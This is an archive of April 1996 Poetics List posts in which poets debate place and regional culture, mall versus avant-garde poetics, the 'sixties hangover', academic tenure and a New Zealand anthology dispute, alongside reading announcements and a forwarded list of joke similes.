Dear Jeffrey, Good to eavesdrop on your exchange, and others. Its interesting to gain some sense of the circumstances from which these postings of ours come. The geography of the net is very abstract, especially from this side of the world. I've been to Buffalo and frankly I'm inclined to think everyone on the list lives there and the fact that there's been nothing in this discussion re- the pros and cons of living in Buffalo just fuels my suspicions. One of the features I like about the list is when everyone says what they are reading. So maybe everyone should put themselves on the map. Let's systematize this thing, let's hear where you all live, what's the culture like there? Maybe we could have a points system which would avoid differences such you had with Sheila? What's a museum worth, how many points for a desert? Artsy districts? Malls would get minus point, maybe, unless they had redeeming features like slams on the escalators, childrens' theatres, or particularly personable waterfountains. Bookshops will have to have a point system of their own based on earlier surveys of which ones stocked book by people on the list and their friends and acquaintances. As would universities covering at least English

departments and Creative Writing departments.Now this would be especially useful for people such as myself not so familiar with Minnesota and some of the other largish US places that have been under the microscope of late; it would give us a tourist map. I would be happy to work on the same for New Zealand, although maybe no bookshops at all would get included. But I could come up with a lot of shithole places, in fact don't get me started on the culture of the whole fucking country ... (excuse me) I WAS offering to participate in what I see as a very practical project of use to all members of the list. Except that we might not agree on the point system. Would someone like to suggest what should be on the list and then we could get down to arguing about what a desert's worth etc? What do you think? Wystan

↑ Index

467. **Charles Bernstein**

Attention New Subscribers!

Tue 16 Apr 1996

The Poetics List now has 380 subscribers. For the last 20 or so, I have not sent out individual "Welcome to Poetics" messages since I assume that some of you will already have this message from a friend or from the EPC. If you do not have a copy of "welcome" message, you will find in the Poetics pages of the Electronic Poetry Center

http://writing.upenn.edu/epc

which as of today sports a new opening page to go along with a number of organizational changes (thanks to Loss Glazier!).

If you don't have web or lynx access, send ME, backchannel, NOT THE LIST, a note with a request for this message and I will e-mail it as a reply. I still handle all list problems myself, including subscription problems addressed to "poetics-request" etc. so it does sometime take me a while to get to such things.

Remember that if your server is having problems, or your disk quota risks filling up, please send a message to [redacted]: "set poetics nomail" to temporarily stop the messages, or else they get bounced back to us.

Charles Bernstein
[redacted]

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468. **William R Howe**
minn stuff
Tue 16 Apr 1996

dan- your question is more complex than my first urge to respond might suggest what you are seeing as dichotomy between high and low between mass and elite avant gaunt is more compex than a either or situation in many respects there are two radically sepparte communities at work in the us (or more) who have little or no contact and as such they tend to follow differing rubric of development one of these (what we have called the mass mall monster) is it seams iminantly marketable through coffee houses vanity presses writing pogroms etc the other as mark wallace has repeated said is not tied to a specific local (any longer) but is tied to a specific set of aesthetic concerns outside of what makes poetry marketable in any profitable kind of wayso even though i have said that an avant practice needs to transform society i also see the task itself as being unachievabl (due in larger part to the general unsailability of avant work the avant whatsit (if there is a the) by its very nature disempowers itself (i.e. it draws upon a larger linguistic and cultural knowledge base than is curently popular or even common and as such it posits itself outside of the mainstream in an elitist and somwhat snobish mannor) and in so doing posits for itself an impossible task (that of the transformation)

i seem to have gotten completely off the subject but that tends to be my way the dichotomy can not exist without the mass mall monsters at the very least recognizing the fact of an opposition if not coming to accept as plausible some of the aesthetic concerns of the avant w's

lubbock on the other hand seems quite odd in retrospect there is a thriving mass mall monster poetry community in lubbock and they are much more receptive to some of my work than say several poets at the recent nyctalks conference they listened and dealt with the work on its own level and in ny politics got in the way (as usual) wrh

↑ Index

469. **Stephen Galen Cope**
Re: malls
Tue 16 Apr 1996

Walter Lew asks:

Can you give us a citation for the passage on Gruen and malls? Thanks.

Actually, I can't. It was sent to me w/o reference. I'll see, though, if I can't dig something up...

Best,

Stephen Cope

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470. **Chris Stroffolino**
Re: minnesota
Tue 16 Apr 1996

Ah, I get it---
maybe all the interesting people in Minnesota are smokers.....
ex-long-haired guys (balding) smokers....cs

↑ Index

471. **Chris Stroffolino**
Re: Massachusetts
Tue 16 Apr 1996

Dear Daniel--
When i worked for MASSPIRG, it was not tourist's doors I knocked on,
but rich people in towns in DUXBURY....
(I don't know if it originated there, but NIMBY is in a george carlin
routine--not in my backyard....) cs.

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472. **J. Beer**
like a bolt of frabric... (fwd)
Tue 16 Apr 1996

---------- Forwarded message ----------
Date: Sat, 13 Apr 1996 15:29:41 -0500 (CDT)
From: Holly Welker <[redacted]>
To: "J. Beer" <[redacted]>
Cc: "B. Yalom" <[redacted]>
Subject: like a bolt of frabric... (fwd)

Winners of the "worst analogies ever written in a high school essay" contest.
(Actually most of them are similes --but... whatever)

He spoke with the wisdom that can only come from experience, like a guy who went blind because he looked at a solar eclipse without one of those boxes with a pinhole in it and now goes around the country speaking at high schools about the dangers of looking at a solar eclipse without one of those boxes with a pin-hole in it. (Joseph Romm, Washington)

She caught your eye like one of those pointy hook latches that used to dangle from screen doors and would fly up whenever you banged the door open again. (Rich Murphy, Fairfax Station)

The little boat gently drifted across the pond exactly the way a bowling ball wouldn't. (Russell Beland, Springfield)

McBride fell 12 stories, hitting the pavement like a Hefty Bag filled with vegetable soup. (Paul Sabourin, Silver Spring)

>From the attic came an unearthly howl. The whole scene had an eerie, surreal quality, like when you're on vacation in another city and "Jeopardy" comes on at 7 p.m. instead of 7:30. (Roy Ashley, Washington)

Her hair glistened in the rain like nose hair after a sneeze. (Chuck Smith, Woodbridge)

Her eyes were like two brown circles with big black dots in the center. (Russell Beland, Springfield)

Bob was as perplexed as a hacker who means to access T:flw.quid55328.com\aaakk/[redacted] but gets T:\flw.quidaaakk/[redacted] by mistake (Ken Krattenmaker, Landover Hills)

Her vocabulary was as bad as, like, whatever. (Unknown)

He was as tall as a six-foot-three-inch tree. (Jack Bross, Chevy Chase)

The hailstones leaped from the pavement, just like maggots when you fry them in hot grease. (Gary F. Hevel, Silver Spring)

Her date was pleasant enough, but she knew that if her life was a movie this guy would be buried in the credits as something like "Second Tall Man." (Russell Beland, Springfield)

Long separated by cruel fate, the star-crossed lovers raced across the grassy field toward each other like two freight trains, one having left Cleveland at 6:36 p.m. traveling at 55 mph, the other from Topeka at 4:19 p.m. at a speed of 35 mph. (Jennifer Hart, Arlington)

The politician was gone but unnoticed, like the period after the Dr. on a Dr Pepper can. (Wayne Goode, Madison, Ala.)

They lived in a typical suburban neighborhood with picket fences that resembled Nancy Kerrigan's teeth (Paul Kocak, Syracuse, N.Y.)

John and Mary had never met. They were like two hummingbirds who had also never met. (Russell Beland, Springfield)

The thunder was ominous-sounding, much like the sound of a thin sheet of metal being shaken backstage during the storm scene in a play. (Barbara Fetherolf, Alexandria)

His thoughts tumbled in his head, making and breaking alliances like under-pants in a dryer without Cling Free (Chuck Smith, Woodbridge)

The red brick wall was the color of a brick-red Crayola crayon.

Jeffrey M. Jones, Choral Division
Music Dept.
University of Texas at Austin
Austin, TX 78714
[redacted]

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473. **Tom Beard**
Re: Place
Wed 17 Apr 1996

Wystan said:

>So maybe everyone should put themselves on
>the map. Let's systematize this thing, let's hear where you all live,
>what's the culture like there? Maybe we could have a points system which
>would avoid differences such you had with Sheila? What's a museum worth,
>how many points for a desert? Artsy districts? Malls would get minus
>point, maybe, unless they had redeeming features like slams on the
>escalators, childrens' theatres, or particularly personable
>waterfountains. Bookshops will have to have a point system of their own
>based on earlier surveys of which ones stocked book by people on the
>list and their friends and acquaintances. As would universities covering
>at least English departments and Creative Writing departments.
...
>I would be
>happy to work on the same for New Zealand

Well, I'll be the fool that rushes in where Wystan is yet to tread.

Auckland might start with +5 for the Harbour, +3 for the temperatures, -5 for the rain, +2 for the cafes, +3 for the wineries and -2 each for the North Shore and West Auckland. +5 for the Islanders dressing up for church in Grey Lynn, -3 for St Lukes (Mall), +4 for the Alba readings, -3 for Poetry Live at the Empire Tavern. All of the decent bookshops in the entire city might get +1 together, but they'd be offset by -1 for the Motorways. -3 for the entire country in terms of the ridiculous cost of Internet connections, another -2 for TVNZ and an

incalculable amount for the government. Auckland gets +3 for the Hero festival and -3 for (Mayor) Les Mills, +2 for the Harbour Bridge and -2 for the Sky Tower, +2 for the Comedy Festival and -2 for the Americas Cup. Karekare and the Waitakere ranges get +4 together, but Auckland gets -6 for not being Wellington. That comes to, erm, round about zero. Guess who's homesick?

Tom Beard.

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474. William M. Northcutt

Re: POETICS Digest - 15 Apr 1996 to 16 Apr 1996

Wed 17 Apr 1996

> *When Pound found something outrageous in a book, wouldn't he write "Malls" in the margin with many exclamation points?*
>
> [redacted]

Mallocks!!!!!!!!!!!!!!
Mallocks!!!!!!!!!!!!!
Mallocks!!!!!!!!!!!!

Walter Benjamin: "Only a redeemed mankind receives the fullness of its past."

William Northcutt
Anglistik I
Universitaet Bayreuth
95440 Bayreuth
email: [redacted]
Tel: 49 921 980612
Fax: 49 921 553641

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475. David Kellogg

Re: orono & wise

Wed 17 Apr 1996

Maria, of course, I should have specified. Roommate must be male: smoking or nonsmoking doesn't matter to me.

Emily: Orono Me., June 19-22, conference on American poetry in the Fifties. Lots of your cooler academic types; hence the overlap with this list. Also some good readings yadda yadda yadda.

Cheers,
David
~~~
~~~

WHEREAS the Academic Senate of the University of California at Berkeley understands that the University of Minnesota is contemplating extensive reductions in the protections of tenure afforded to its faculty, it hereby adopts the following resolution and statement of principles:

The free and open discourse guaranteed by academic freedom is essential for a central mission of research universities, which is to advance human knowledge.

Academic freedom is only as secure as its legal protections, which are embodied in the institution of tenure. To authorize university administrators to use discretionary action to dismiss faculty members, or to force them to resign, may prove cost- efficient in the short run, but in the long run it will destroy academic freedom.

The history of the University of Minnesota itself amply illustrates the necessity for the institution of tenure to protect academic freedom. In September 1917 Regents of the University of Minnesota interrogated political science professor William Schaper regarding his anti-war sentiments. The evening after the investigation, Schaper was summarily terminated on the grounds that "his attitude of mind, whether due to conscientious considerations or otherwise, and his expressed unwillingness to aid the United States in the present war, render him unfit... to discharge the duties of his position." Twenty years later, the University of Minnesota regretted and rescinded this action on the grounds that, as stated by the Governor of Minnesota, "We cannot suffer a precedent to stand under which...honorable teachers are humiliated, persecuted and dismissed in disgrace because their views happen not to coincide with the views of those in power. The integrity of the classroom and the integrity of the teaching profession must be preserved." The University thereupon committed itself to provide real procedural protection to safeguard the value of academic freedom. In the contemporaneous words of Charles Beard, the University of Minnesota gave "encouragement to all who labor for the maintenance of liberty in inquiry and teaching."

Academic freedom is threatened today by powerful forces for ideological conformity, just as it was in 1917. The legal protections of tenure prevent such forces from eviscerating academic freedom and constricting the open and robust intellectual life necessary for a healthy university.

THEREFORE BE IT RESOLVED by the Academic Senate of the University of California at Berkeley that the Regents of the University of Minnesota should cease all efforts to undermine the institution of tenure, whether by easing restrictions on the termination of tenured faculty or by forcing tenured faculty to leave by decoupling their compensation from tenure.

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477. **Mark Wallace**

diu and thoreau

Wed 17 Apr 1996

While I can see Maria D.'s point about "lightening up" regarding the DIU debate so we can actually discuss it, it seems to me that we've been doing that all along--discussing it, that is. I suppose each of us has the choice to lighten up or not, as makes sense to us. As for those "who DIU have satired" I think it's a lot of us, actually--I know that my own presentation at the NYC Poetry Talks conference was positing the notion that "avant garde" (if you will) writing is experiencing at the present time an expanding audience, not perhaps on a mass scale but enough so that the work is reaching a lot of people in a lot of different countries and contexts. It's my belief that that is true (and verifiable) that makes me contest that implication of the DIU satire that the people at that conference composed some recognizable and self-important "inside group" that is really all there is to experimental poetries. But those of us at the conference did NOT represent such an inside group--rather, we were a gathering of writers of various affiliations and situations, some of whom had closer or looser connections to anything that might be described as an "inside" crowd. What is one to make of the presence of Alex Cigale, for instance, editor of the magazine Synaesthetic which has sometimes printed avant garde writers, but is equally committed to poetry by a variety of Russian emigree authors and others--Alex drops in on the "avant garde scene" but has more significant ties elsewhere.

I have a lot of sympathy for Bob Harrison's annoyance--he wasn't at the conference (so much for the idea that "all of us who mattered" were there) and certainly has a right to feel annoyed at any implication that the DIU satire was aimed at "everyone." I don't think Bob's quite right about the careerism of the DIU crowd--knowing them to various degrees, I also know that they mean what they're doing in very serious and complex intellectual ways. But in that sense I have to agree with Joel Kuszai's forthright and specific critique of the group in question, and his directness in naming names. The group means their dive bombing very seriously, and it's often very funny, but that doesn't mean their satire is above being criticized--and I think Joel hits, quite specifically, at some of the weaknesses of what they're doing. So while I agree with Maria D. that they have a right to do what they're doing, and that it's often funny, I also think they can be criticized too. After all, if it's okay for avant gardists to satirize the avant garde, isn't it also okay for avant gardists to satirize those avant gardists who satirize the avant garde?

Jeffrey Timmons brought Thoreau's name up in another context, and I think his work is relevant here. But Jeffrey, to see Thoreau's ideas as suggesting either that one should bomb people, or go off into the wilderness to die, is to miss what Thoreau was really about. Thoreau's work was ALWAYS about social

critique, and about pacifism too--it was never either about blowing anybody up or running away. In his Massachusetts address, Thoreau puts forward the idea that if one person--just one person--refuses to participate in a society that condones slave holding, then the slaveholding system has already ended. Before one jumps on the supposed naivete of that, one has to recognize that what he means is that mass political movements are based on specific individual choices--we choose, one at a time, to be part of this or part of that, and those choices have ethical dimensions that can sometimes cause whole systems to fall or change.

Is the avant garde, at this time, changing the sort of "mass culture" that Bill Howe critiques so well in his recent post? No. Does that mean that the avant garde is therefore a worthless inside group endlessly puffed-up about its own importance? No. Rather, I think that the situation is that we are a variety of individuals who are part of a variety of groups that intersect with a variety of social and political activities, to greater or lesser extents--and one of those groups is the network of avant garde poetry. Some of us may have more political efficacy than others, and some of us may be more specifically interested in aesthetic rather than overtly political matters. Is that a problem? I don't think so.

Brecht was once asked by Benjamin whether he thought his work was "serious"--that is, directly political all the time. And Brecht thought about it and finally said, "well, no, I guess I'm finally too wrapped up in aesthetic matters to be serious--I worry too much about the theatre." But Brecht also said "but I think the important thing is that my attitude is PERMISSABLE--I should have a right to worry about these things if I want to." And I think that's a key point--that one of the key values of avant garde work is to consistently make the point that people have a right to take philosophical and artistic matters seriously, and that to say so is political in a world where people are denied the right to take such matters seriously, along with being denied the right in many cases to make a living or even eat. Or as Rod Smith once told me "I write poetry because it's a pleasure, and I act politically because I believe that I, and others, have a right to engage in that pleasure."

Mark Wallace

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478. Burt Kimmelman
Searching for Pam Rehm / Poetry New York Reading and Party
Wed 17 Apr 1996

Pam Rehm, are you out there? If you are, could you let either me or Emmy Hunter know if you are going to read at the Poetry New York Party; she needs to be able to include you in the advertising.

To All: The Reading / Party to celebrate the new issue of Poetry New York: A Journal of Poetry and Translation, containing a number of our List members, will be held on May 18th from 2-5 at the downtown Knitting Factory, 79 Leonard Street, NYC.

Please come.

Burt Kimmelman
[redacted]

PS. If anyone knows how to contact Pam Rehm, could you please let me know (yes I'm embarrassed that her address has been lost, despite the efforts of 3 editors--or because of them)?

PPS. PNY will be considering submissions for its next issue in the next weeks/ months. If you're interested, send 3-4 poems or translations of poems to me, Tod Thilleman and/or Emmy Hunter, PO Box 3184, Church Street Station, NYC 10008. Allow up to 4 months for a reply. And, caveat emptor, PNY is an annual and thus its next issue will not appear until next year at this time.

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479. Henry Gould
Sir Edwin
Wed 17 Apr 1996

I just learned that Edwin Honig will be knighted by the Spanish Ambassador next week here in Providence, for his services to Hispanic literature. He's already a Sir Edwin of Portugal. How many American poets have 2 knighthoods under their belt (so to speak. or hanging from their belts. He gets an honorary sword.) He told me he would use the sword to skewer Queen Isabella for expelling the Jews from Spain. I said I didn't think that sounded very chivalrous.

Maybe Moorish, pre-exile Spain is the future of the U.S.
After Lorca, that is.
Gypsy music.

Sir Edwin sounds just right. The Ambassador is himself a translator - they're thinking of reading bits of his version of "Alice in Wonderland" which he trans

into Spanish & Sir Ed's english version of Calderon's "Life is a Dream" (which is playing in NY right now, by the way.) - Henry Gould

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480. Christopher Reiner
Parshchikov Update
Wed 17 Apr 1996

A while ago, Ron Sillman wrote:
>
> Alexei Parshchikov (a book is out from Avec)--he was a very successful
> journalist as well as a poet under the old regime, but hasn't made the
> transition to the new one well. After a stint at Stanford, he returned
> to Russia and was (last I heard) pretty much living on the streets of
> Moscow

Just wanted to say that Parshchikov is currently living and writing in Germany.

--Chris Reiner
P.S. You can read his poem "Cats" by pointing your browser to:
http://www.crl.com/~creiner/syntax/cats.html

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481. Michelle Roberts
(no subject)
Wed 17 Apr 1996

I have a question for everyone. I'm working on translating a poet who may be French and who may be Belgian (sp), or some other sort of francophile. Her name is Yanette Deletang-Tardif. The prof. here who teaches a translation workshop, Rainer Schulte, has been asking his friends and contacts in France about her, and so far nothing. I'm looking to find out about her life, whether any criticism has been written on her work, etc. Does anyone have any clues? All I know this that she's teh same generation as Bonnefoy.

If it would help to jog some clues loose, here's a short list of some of her publications and publishers:

Eclats -- A. Quillet, pub.
Vol Des Oiseaux -- A. Quillet.
Briser N'est Rien -- Sagesse
Morte en Songe -- Sagesse
Les Elements Perdus -- Subervie
Tenter de Vivre -- Denoel

Pressentiment de la Rose -- Debresse
some of her translations:

Poesies de Goethe -- ??
Poesies Completes de Nietzsche -- Les Presses Litteraires de France
Goya -- Arts et Metiers Graphiques
Heinrich Von Ofterdingen , by Novalis -- ... la Bibliotheque de al Pleiade

Also, if anyone has some information on how to get in touch with the publishers, that could be helpful.

Thanks for anything you come up with,
Meaghan

Meaghan Roberts | ... in our interpreted world...
Ph.D. Candidate - Ethics and Literature |
The University of Texas at Dallas |
[redacted] |

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482. Michelle Roberts
Re: minnesota
Wed 17 Apr 1996

---

jeffery,

i know sf wouldn't be teh fabulous place that it is without that hangover, and yes, dallas has no real identity except as a huge center for techno-captialism, and republicans -- the one's i know -- don't bother me. i suppose my ill-made point is that a place is what you make of it. Lot's of places in the world have a sense of place for me -- including Drasco, ARk. (which consists of two gas station/grocery stores and a postoffice) because that's where my grandparent's ranch is. That whole area is connected to rattlesnakes, cotton mouths (had to shoot one once) and nearly a thousand acres of rough country to hike in. Plus the terrific company of my grandparents. That's a sense of "place" to me, the accretion of memory that lays itself over a landscape or a cityscape. No, dallas does not have a real cultural identity, but you have to remember that dallas didn't become the city -- the Metroplex-- that it is until about 18 years ago. It's a baby compared to sf or ny. It's a twentieth century city, not a nineteenth century one, and the implications and effects of that for a city and its residents are mulitple. anyway, if y'all are having a good time with this thread, cool. i just got worried cuz you sounded really bummed out to me.

What was such a total drag about UTD? I'm quite aware both the problems and the potential here -- but I seem to navigating the waters ok.

Meaghan Roberts | ... in our interpreted world...
Ph.D. Candidate - Ethics and Literature |
The University of Texas at Dallas |
[redacted] |

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483. Michelle Roberts
Re: minnesota
Wed 17 Apr 1996

And now that I think about it, Jeffery, what does my phrase "60s hangover" mean to you? I use it because I was born in 1968. The sixties are not my era. I was learning to walk and talk, and have the vaguest memory of watergate. But then, I also remember my first birthday. I'm one of those non-slacker gen-xer's who tired of being told how cool that era was. I'm living in the aftermath and I don't think it's all that cool. yes, when one of my x-hippie profs introduced me to Marcuse, I said thanks and read _One Dimensional Man_ avidly and lived in its shadow for three months -- the argument is truer now that it was then. And I really like SF. I had a fabulous time there and wuld go back in heartbeat. I like the "hangover" but I don't like some the people who are caught in it -- it's like they quit evolving and living in 1974. And calcification always puts me off. I hope it doesn't happen to me. I guess I'm just sick of being told that there is no way my generation will ever experience the exhilaration of the 60s or anything like it :(. So? Msot of the people who were my age then didn't experience it either, the counter culture was just not that huge. Very big, but not total. Anyway, now I'm being crabby. I'll stop.

meaghan

Meaghan Roberts | ... in our interpreted world...
Ph.D. Candidate - Ethics and Literature |
The University of Texas at Dallas |
[redacted] |

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484. Michelle Roberts
Re: minnesota
Wed 17 Apr 1996

On Tue, 16 Apr 1996, Maria Damon wrote:

> what's a "60s hangover?" a belief in justice? in affirmative action? bright
> colors? non-competitive enjoyment of life? a fascination with the workings
> of the mind? alternate states of consciousness? long hair on guys?

> valorization of informality? street demonstrations? drumming sessions in
> public spaces?
>
Yes, that's the up side, and it would be wonderful if the world would turn out that way -- just terrifically cool. And my still rather amorphous dissertation aims to be yet another voice in favor of a tasty adn friendly world for us humans. WHat I meant saying that derogatorily is that whole bunches (and I said this in a previous post) of folks are stuck in those years, they quit being of world, became brightly colored ghosts, and don't seem interested in bringing that spirit into the present where I and many others have to live -- having been babies then. I don't get free love, I get AIDS, adn that's the dark spooky part of my reality. I don't get high grade LSD, I get that crap with stricnine and speed in it -- which does not feel good. I think that "drumming in spublic spaces" is beautiful and very Deleuzian and joyful and all those things I wish for, but unfortunately I can't be seduced by the sort of "beautiful soul" aspect of it. Yes, utopia can be Now, but it can't last without ..... oh, please just tell me to shut up. That generation, most of which were not counterculture types, didn't do the Work, and yet the ones that turned in yuppies want to claim that they "were there". I'm not saying this aobut the folks on this list, that would be a really stupid assumption on my part. I'm reacting to the fact that the whole joy joy and siblinghood nature of that era is more and more endangered these days and in very harsh practical ways, and I don't want to see it all extinguished. My dad once told me that I would have made for a terrific flower child. My response was,"Maybe, but we'll never know." I think I would have made a better protestor.

Ok, now I hope I'm really done complaining.

For those of you who are slamming up against the end of the semester as I am, I wish you well,and to those of who aren't in that position, enjoy yoursevles all the time.

Meaghan

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485. **Emily Lloyd**
Re: 60's hangovers/place
Wed 17 Apr 1996

But Meaghan, if your problem with 60's folks is that they sold out and became 80's folks, shouldn't the non-sold-out people (hangoverers?) please you? I'm more likely to take umbrage at the 90's co-opting of tie-dye, peace signs, what-

have-you & turning a revolution (yes, I'll say it) into pop clothes, original intent almost entirely absent. But not even that much umbrage, only enough so that I can say that fabulous word "umbrage."

Born in '74 myself, I understand your anger re: AIDS (mainly, weak acid a far second) and the relative inability for us equisers to find free love, etc., freeing now that it's tinged w/terror. (Perhaps Rilke anticipates us with his beauty/terror thing). Or quitting jobs freeing when it's so damn hard to *find* one these days. So I can understand being *jealous* of the 60's. But please, please, I'll take a 60's hangover (or resurgence, or continuation) over an 80's one anyday. I'd love to crawl back there, & I admit my reaction to 2000 is an urge to flee in the opposite direction. As for public drumming, my old america online handle was "drumcircle."

Re: place, and how it affects us. HUGELY, I think. Un-or-inestimably. Growing up in suburban VA...I almost yawped the first time I went to New York, on a 7th grade class trip. I bought NYC picture books. NYC t-shirts. (Yes, people *do* buy those). I wrote terrible poems about NYC all year. You never saw such a desperate suburban southchild. But perhaps my stakes as a queer and yours as someone who can abide republicans were different...I'm aware that there are only a few places in the country where I can live open and not be one of 3 possible dating options in town. and that 60's hangover place is one of 'em.

~~~
~~~

487. Christopher Filkins
Re: Parshchikov Update
Wed 17 Apr 1996

I doubt very seriously that Alyosha was living on the streets of Moscow. He may have been walking around in a daze unshaven and unbathed looking for all the world like a homeless bloke but he has parents there, with whom I know he was staying, and he also is the "owner" of a flat in Moscow so the rumor as to his past homelessness is false.

Since his stay at Stanford he has lived in Switzerland, Germany, Los Angeles, and Moscow.

As for his staying in Germany, that is understandable given that his wife Martina is Swiss from the German sector. Here's hoping he's doing well in Germany as he has told me several times that he has no intention of learning the German language and if he ever ends up in Germany he'll refuse to speak anything but English.

The difficult "transition" which Ron Silliman mentions does not stem from politics, but rather from a certain "proclivity" which is shared by many people regardless of the particular regime they live under. Last time I talked to the Parschikovs he was doing much better.

Christopher

> *A while ago, Ron Sillman wrote:*
>
> *Alexei Parshchikov (a book is out from Avec)--he was a very successful journalist as well as a poet under the old regime, but hasn't made the transition to the new one well. After a stint at Stanford, he returned to Russia and was (last I heard) pretty much living on the streets of Moscow*
>
> *Just wanted to say that Parshchikov is currently living and writing in Germany.*
>
> *--Chris Reiner*
> *P.S. You can read his poem "Cats" by pointing your browser to:*
> *http://www.crl.com/~creiner/syntax/cats.html*

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488. Alan Sondheim
Heather
Wed 17 Apr 1996

Kyoto-LUGAL

If I die, may I die in one of the twin cities of Kyoto!
May I die in that forlorn one, that of corrupt transmissions, emptied,
of bots and people!

tak-ku LU _EL-LAM_ MUS- an ku- en- zi da- me-e- el- la _SUM_ an te- iz- zi 1 MA.NA.KU.BABBAR pa-a- i tak-ku IR- sa a-pa-a-as-pit a- ki:

If a free man kills a snake and speaks another's name,
he gives a pound of silver; if a slave does that one, he's killed!

I wander the halls of the One, knowing the Other is full of laughter. I am from the URU of Kyoto, the KUR of Kyoto; I am DINGIR there.

My bots are no longer my own; taking _upu_ runes,
I have refused quota to myself, harboring the bytes of a poor man!
Goat. Goat. Goat. Goat. Goat.

If I die, may the Yurt of Kyoto greet me!
May the mewling human, squeezed, flood Kyoto with bones and cauldron!

Hieroglyphs! Twin Worlds torn apart at the base!
Death in one, multitudes in the other!
(I dream of the multitudes!
I swarm among them, alas, only in my dreams!)

If I die, may I die in one of the twin cities of Kyoto!

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489. Wystan Curnow
Anthologies
Wed 17 Apr 1996

Dear List, I'd like to pass on some info about the new Oxford Anthology of New Zealand Poetry. Oxford and Penguin have over recent decades been the publishers of the standard anthologies of the nation's verse. Some of these have been canon-making or breaking, the platform for substantial critical statements, and have occasions serious debate, most have been professionally done and generally brought credit to their editors. Both publishers have anthologies currently in print which are used for university courses and available in a range of bookstores. But the new Oxford is something different, and I would be interested to know whether any of the practices of the publisher and the editors have any parallels elsewhere. The first I heard of the project was a letter from Oxford to me as a teacher of New Zealand poetry (which I am not) at the University of Auckland, asking me what I would like to see in a new poetry anthology: which poets, etc. Market research. A lot of these letters went out. Next I heard was a set of proofs from Oxford of poems of mine in the anthology. No

letters from the editors (there are three of them) asking permission, suggesting selections, just the proofs, The letters arrived a week or so later but the damage had been done by then and there were some angry poets around. This, of course, had been a mistake, but an indicative one. The chief editor was at this time on a 4 month residency in Japan. The selection of my work, for example was entirely of already anthologized work, and included nothing published in the last 15 years and this appeared to be a rather common pattern. In other words in many cases selection was just a keyboarding exercise. The letter seeking permissions, when it did arrive, proposed royalities even more derisorily small than usual. This was because a new basis for calculating the percentage had been struck using the wholesale price instead of the retail. Most people signed up but some, including 2 poets without whom no such anthology could proceed did not. They asked for more money (partly because their work was being published overseas at much better rates). Others, offended by the farce of a selection process postponed signing until they had negotiated a selection more to their liking. When its was learned that the publishers had in fact made some special deals with poets who had demanded more, those who had signed on the understanding that everyone was signing the same contract became concerned, some pulled out, and those who hadn't decided to delay doing so on that score as well. We were told that the editors and even the managing editor herself would be making up the difference out of their own royalties and/or pocket! Well, that idea was abandoned when the boss in Melbourne said it was not on and the poet's it appeared far from charmed or appeased by the notion had become even more pissed off as a result. When finally the biggest deal was done, a group of us had to decide what we would do, pull out, spread the word to all who had signed about what we knew was happening? No one finally was prepared to put in the energy. We ended up in fact negotiating not the quantity but the composition of our selections, obliging the editors to do the work one would have expected of them in the first place. That said, the climate in which these discussions took place was hardly ever healthy. The editors and publishers were being driven by fears of the book running off the rails althogether and by pressures of time: a desire to meet deadlines suitable to the academic marketplace and the annual book award submissions would you believe? Other sorts of judgements were secondary. Three of us refused any royalty, we 'donated' the poems; not that that seemed a very satisfactory position to have ended up with. I would be most interested in what people on the list have to say about these sorry sequences of events. About the behaviour of the publishers, are they and to what extent are they, out of line with practices elsewhere? And of the editors? And what should "we" have done? It always seems to me that the multinational publishing houses iin fact function to isolate writers, markets, reading communities from one another rather than the reverse, all the better to exploit them. Wystan.

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490. **main**
Re: minn stuff
Thu 18 Apr 1996

william-- and what, i wondering, would you say made the lubbock crowd more receptive to the work than, say, nyctalks crowd? i'm wondering, too, whether a crowd that's politicizing the work isn't more _receptive_ than a crowd that's simply passively absorbing the work: i.e., resistance as ideal reception. i agree w your take on a-g's double-bind. what i find disturbing isn't so much the dichotomy between "mall" poetry and a-g, but the a-g's dichotomizing of the _audience itself_: high/low. again, i think that some of the most interesting a-g work has come out of responses (as "audience") to the "pop" matrix: not (as i take yr definition of mall poetics to be) merely passively reflecting media images, values, etc., but incorporating them (as the media, in turn, incorporate what's outside of it) via satire, pastiche, reconfiguration (montage, collage, chance operatives, etc.). so, not so much a distinction of the materials, but the _uses_ of them. and, yes, this is where these two part ways. but a poet who turns his/her back on an audience w which s/he can't identify is as provinicial as an audience that turns its back on a poetry w which they cannot identify. and this is what all provincialism runs the risk of: a double isolation. --dan

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491. **William R Howe**
AGro poetics
Thu 18 Apr 1996

dan- this schizm stain between an ag audience and an agro audience has more to do with definitions than with a performer's (or preformer's) alienating the audience to one degree or another by this i mean that if an audience cannot seehear a work as poetry it isn't in so far as that performance of it is concerned it is only when an audience is willing to forego there own preconcieved knotions about what makes poetry poetry that ag and agro can meat in a kind of roundabout way this is how i would answer your question in lubbock there was a suspender of expectations and at the nyctalks there were other agendas on the table that interfeared with the process i should also add that most of the people at my performance at the nyctalks thing were quite receptive perceptive and expressed this to me afterwords but were more people who were offended in nyc then at a roughly comparable reading i di did in lubbock (meaning about the same people present and i performed the same major piece at both although the

nyc performance by its very nature nurture was shorter [i read with several other people])

provincialism though that's a different kettle of pigs

wrh

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492. **Eryque Gleason**
Re: walnut creek
Thu 18 Apr 1996

Mike, if you do indeed mean walnust ckreek, california (with or without the typos), i should prolly chip in, i spend a few weeks a year there with my folks. I'd take dodie's advice and go visit her and kevin. It's a nice drive in the evenings after rush hour from walnut creek (if you've got a car. the bart reminds me of disneyland after using chicago L trains for three years), npr there plays a lot of good folk blues, and i found the hills to be relaxing and pleasant. Dodie and kevin have almost as much shelf space as they do books, and tacked to the wall in the kitchen is a flowery work glove with silverware attached to the fingers, a prop from a play. I thought it was edward scissorhands' garden attachment. Kevin invited me to try it on, "it really works!" But kevin, you never said what it worked *as*... Eryque

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493. **Mark Roberts**
AWOL: Heather Cam's book launch (forwarded)
Thu 18 Apr 1996

Just in case anyone is passing through Sydney tonight.....

> *Mime-Version: 1.0*
> *Date: Thu, 18 Apr 1996 06:36:11 +1000*
> *To:* [redacted]
> *From:* [redacted] *(awol)*
> *Subject: AWOL: Heather Cam's book launch*
>
> *The following message has been posted by AWOL on behalf of Gleebooks.*
> *Please address any enquiries to the contacts listed below.*
>
> **********

> *You are invited to the official launch of Heather Cam's second collection of poetry THE MAJESTIC ROLLERINK to be launched by Robert Adamson upstairs at Gleebooks (49 Glebe Point Road Glebe NSW). Thursday 18th April 6.30 for 7pm.*
> *RSVP David or Roger (02) [redacted].*
>
> *AWOL*
> *Australian Writing On Line*
> [redacted]
> *http://www.ozemail.com.au/~awol/*
> *PO Box 333 Concord NSW 2137 Australia*
> *Phone 61 2 7475667*
> *Fax 61 2 7472802*

Mark Roberts
Student Systems Project Officer
Information Systems
